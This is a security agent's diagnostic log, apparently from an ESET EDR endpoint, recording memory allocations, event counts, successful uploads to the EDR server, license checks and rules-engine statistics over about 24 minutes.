2026-03-04 21:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1744 KB; TcpIpConnectionsManager: 655 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; BaseEvent: 165 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 86 KB; BatchSerializer::EventsQueueTag: 44 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 14 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 37345 KB;
2026-03-04 22:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2116 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 627 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; BaseEvent: 348 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 93 KB; rules::ProcessConditionsCache: 78 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37910 KB;
2026-03-04 22:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2476 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 578 KB; rules::AncestorEvaluations: 552 KB; BaseEvent: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 141 KB; rules::ProcessConditionsCache: 59 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38432 KB;
2026-03-04 22:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2837 KB; ModuleMetadata: 2037 KB; BaseEvent: 711 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 540 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; BatchSerializer::EventsQueueTag: 188 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 43 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38974 KB;
2026-03-04 22:03:01 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 21:59:01, To:, 2026-03-04 22:03:01, Duration (s):, 240, Events Per Second:, 16.939, Events:, 4081, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3382, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 698, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456195
2026-03-04 22:03:03 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s336ms.
2026-03-04 22:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 22:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1640 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 519 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 509 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; BaseEvent: 154 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 39 KB; rules::ProcessConditionsCache: 30 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 37031 KB;
2026-03-04 22:04:05 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 22:04:05 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 22:04:05 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 22:04:05 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 22:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2037 KB; ProcessInfo: 2001 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 521 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; BaseEvent: 333 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 86 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 12 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37603 KB;
2026-03-04 22:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2373 KB; ModuleMetadata: 2037 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 535 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; BaseEvent: 510 KB; rules::ProcessConditionsCache: 405 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 134 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38608 KB;
2026-03-04 22:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2734 KB; ModuleMetadata: 2037 KB; BaseEvent: 686 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; rules::ProcessConditionsCache: 387 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; BatchSerializer::EventsQueueTag: 179 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39182 KB;
2026-03-04 22:07:13 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 22:03:05, To:, 2026-03-04 22:07:13, Duration (s):, 248, Events Per Second:, 16.530, Events:, 4113, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3399, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 713, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456509
2026-03-04 22:07:15 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s381ms.
2026-03-04 22:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1542 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 540 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 499 KB; rules::ProcessConditionsCache: 374 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BaseEvent: 127 KB; BatchSerializer::EventsQueueTag: 32 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37256 KB;
2026-03-04 22:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 22:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1899 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 499 KB; rules::ProcessConditionsCache: 346 KB; ModuleInfoCache: 324 KB; BaseEvent: 301 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 78 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37793 KB;
2026-03-04 22:09:05 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 22:09:05 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 22:09:05 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 22:09:05 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 22:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2303 KB; ModuleMetadata: 2037 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 522 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; BaseEvent: 488 KB; rules::ProcessConditionsCache: 355 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 129 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38448 KB;
2026-03-04 22:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2667 KB; ModuleMetadata: 2037 KB; BaseEvent: 664 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; rules::ProcessConditionsCache: 348 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; BatchSerializer::EventsQueueTag: 175 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 39029 KB;
2026-03-04 22:11:17 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 22:07:13, To:, 2026-03-04 22:11:17, Duration (s):, 244, Events Per Second:, 16.901, Events:, 4132, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3428, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 703, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460968
2026-03-04 22:11:20 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s506ms.
2026-03-04 22:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1586 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; rules::ProcessConditionsCache: 364 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; cloudutils::CloudData: 141 KB; BaseEvent: 108 KB; BatchSerializer::EventsQueueTag: 28 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 37282 KB;
2026-03-04 22:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2047 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 647 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 324 KB; BaseEvent: 302 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 218 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 82 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37979 KB;
2026-03-04 22:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 22:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2405 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 645 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; BaseEvent: 484 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 212 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 131 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 20 KB; ProcessInfoCommandLineTag: 16 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38553 KB;
2026-03-04 22:14:05 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 22:14:05 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 22:14:05 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 22:14:05 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 22:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2765 KB; ModuleMetadata: 2037 KB; BaseEvent: 664 KB; TcpIpConnectionsManager: 637 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 189 KB; BatchSerializer::EventsQueueTag: 178 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39093 KB;
2026-03-04 22:15:13 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 22:11:17, To:, 2026-03-04 22:15:13, Duration (s):, 236, Events Per Second:, 17.573, Events:, 4157, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3475, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 681, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 461623
2026-03-04 22:15:16 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s797ms.
2026-03-04 22:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2037 KB; ProcessInfo: 1649 KB; TcpIpConnectionsManager: 609 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 181 KB; cloudutils::CloudData: 141 KB; BaseEvent: 119 KB; BatchSerializer::EventsQueueTag: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37244 KB;
2026-03-04 22:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ModuleMetadata: 2037 KB; ProcessInfo: 2009 KB; TcpIpConnectionsManager: 560 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; BaseEvent: 300 KB; rules::ProcessConditionsCache: 167 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 78 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37769 KB;
2026-03-04 22:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2662 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 647 KB; BaseEvent: 620 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 500 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; BatchSerializer::EventsQueueTag: 163 KB; cloudutils::CloudData: 141 KB; rules::ProcessConditionsCache: 56 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38793 KB;
2026-03-04 22:18:18 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 22:15:13, To:, 2026-03-04 22:18:18, Duration (s):, 185, Events Per Second:, 22.046, Events:, 4093, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3372, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 720, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 453571
2026-03-04 22:18:21 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s884ms.
2026-03-04 22:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 22:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 22:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2087 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 768 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 499 KB; rules::ProcessConditionsCache: 359 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; BaseEvent: 196 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 51 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 8 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38106 KB;
2026-03-04 22:19:05 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 22:19:05 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 22:19:05 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 22:19:05 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 22:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2831 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 932 KB; BaseEvent: 562 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; rules::ProcessConditionsCache: 357 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; BatchSerializer::EventsQueueTag: 147 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 39477 KB;
2026-03-04 22:20:28 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 22:18:14, To:, 2026-03-04 22:20:28, Duration (s):, 134, Events Per Second:, 30.676, Events:, 4130, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3406, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 723, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457490
2026-03-04 22:20:30 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s324ms.
2026-03-04 22:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 2629 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 957 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; ModuleInfoCache: 324 KB; rules::ProcessConditionsCache: 319 KB; CacheEntry: 300 KB; BaseEvent: 160 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 41 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38752 KB;
2026-03-04 22:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 3262 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 959 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; BaseEvent: 476 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 226 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 123 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 39696 KB;
2026-03-04 22:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30742 KB; ProcessInfo: 3621 KB; ModuleMetadata: 2037 KB; TcpIpConnectionsManager: 796 KB; BaseEvent: 653 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; ModuleInfoCache: 324 KB; CacheEntry: 300 KB; rules::ProcessConditionsCache: 207 KB; BatchSerializer::EventsQueueTag: 170 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 40101 KB;
2026-03-04 22:23:25 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 22:20:23, To:, 2026-03-04 22:23:25, Duration (s):, 182, Events Per Second:, 22.546, Events:, 4110, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3393, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 716, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455510
